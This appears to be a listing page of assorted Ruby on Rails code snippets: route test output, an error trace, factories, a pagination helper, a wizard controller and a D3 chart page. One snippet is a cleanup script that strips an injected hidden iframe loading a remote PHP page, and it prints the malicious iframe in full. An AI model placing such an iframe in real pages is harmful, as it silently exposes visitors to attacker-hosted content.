This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
AccountsController responding to GET index | |
- should expose all accounts as @accounts | |
FacebookController route generation | |
- should map {:controller=>'facebook', :action=>'authorized'} to /authorized | |
- should map {:controller=>'facebook', :action=>'authorize_redirect'} to /authorize_redirect | |
- should map {:controller=>'facebook', :action=>'installed'} to /installed | |
- should map {:controller=>'facebook', :action=>'privacy'} to /privacy | |
- should map {:controller=>'facebook', :action=>'uninstalled'} to /uninstalled | |
- should map {:controller=>'facebook', :action=>'help'} to /help |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SyntaxError in Sources#show | |
Showing sources/show.html.erb where line #245 raised: | |
(eval):1:in `format_aggregate_info': compile error | |
(eval):1: syntax error, unexpected tIDENTIFIER, expecting ']' | |
...ichard p�rez-pe�a", 3], ["nick bunkley", 3], ["justin wolfer... | |
^ | |
(eval):1: syntax error, unexpected tIDENTIFIER, expecting $end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/bin/ruby -I"lib:test" "/Library/Ruby/Gems/1.8/gems/rake-0.8.7/lib/rake/rake_test_loader.rb" "test/unit/helpers/application_helper_test.rb" "test/unit/helpers/credit_cards_helper_test.rb" "test/unit/helpers/films_helper_test.rb" "test/unit/helpers/memberships_helper_test.rb" "test/unit/helpers/reels_helper_test.rb" "test/unit/helpers/users_helper_test.rb" "test/unit/helpers/year_select_helper_test.rb" "test/unit/lib/activerecord_ext_test.rb" "test/unit/lib/activeresource_ext_test.rb" "test/unit/lib/array_ext_test.rb" "test/unit/lib/freebase_test.rb" "test/unit/lib/money_ext_test.rb" "test/unit/lib/sphinx_test.rb" "test/unit/models/activation_test.rb" "test/unit/models/active_poll_question_test.rb" "test/unit/models/activity_observer_test.rb" "test/unit/models/activity_test.rb" "test/unit/models/address_book_test.rb" "test/unit/models/article_test.rb" "test/unit/models/author_test.rb" "test/unit/models/authorization_test.rb" "test/unit/models/avatar_tes |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class FacebookPaginator < WillPaginate::LinkRenderer | |
include WillPaginate::ViewHelpers | |
def stringified_merge(target, other) | |
other.each do |key, value| | |
key = key.to_s # this line is what it's all about! | |
next if "fb_sig_friends" == key | |
existing = target[key] | |
if value.is_a?(Hash) and (existing.is_a?(Hash) or existing.nil?) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Factory.sequence :login do |n| | |
"user#{n}" | |
end | |
Factory.sequence :email do |n| | |
"user#{n}@example.com" | |
end | |
Factory.define :account, :class => 'account' do |u| | |
u.login { Factory.next(:login) } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Put this file in the root of the filesystem where you want to start looking for the string. | |
def remove_haxor_code(files) | |
files.each do |f1| | |
File.open(f1, 'r+') do |file| | |
lines = file.readlines | |
lines.each do |n| | |
n.gsub!("<iframe src=\"http:\/\/reycross.com\/lib\/index.php\" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>", "") | |
end | |
file.pos = 0 | |
file.print lines |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contentType: "application/json; charset=utf-8", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class WizardController < ApplicationController | |
session :cookie_only => false, :only => :create | |
before_filter :determine_site_by_domain, :except=> [:upload_page_photo,:create_agent_logo,:index,:content,:customize,:pricing,:new_site, :next_step, :previous_step,:create_site, :brand_select] | |
before_filter :check_domain_in_admin | |
skip_before_filter :verify_authenticity_token, :only => [:upload_page_photo,:create_agent_logo] | |
#before_filter :verify_upload, :only => [:next_step_remote, :previous_step_remote] | |
#after_filter :set_button_positioning #req'd for IE7 with ajaxy goodness | |
layout 'wizard' | |
def new_site |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class WizardController < ApplicationController | |
session :cookie_only => false, :only => :create | |
before_filter :determine_site_by_domain, :except=> [:upload_page_photo,:create_agent_logo,:index,:content,:customize,:pricing,:new_site, :next_step, :previous_step,:create_site, :brand_select] | |
before_filter :check_domain_in_admin | |
skip_before_filter :verify_authenticity_token, :only => [:upload_page_photo,:create_agent_logo] | |
#before_filter :verify_upload, :only => [:next_step_remote, :previous_step_remote] | |
#after_filter :set_button_positioning #req'd for IE7 with ajaxy goodness | |
layout 'wizard' | |
def new_site |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> | |
<html> | |
<head> | |
<title>Simple Radar Chart</title> | |
<link rel="stylesheet" href="style.css"/> | |
<script src="http://mbostock.github.com/d3/d3.js?2.5.0"></script> | |
<script src="radar.js"></script> | |
</head><body><h1>Simple Radar Chart</h1> | |
<div id="viz"> | |
</div> |
OlderNewer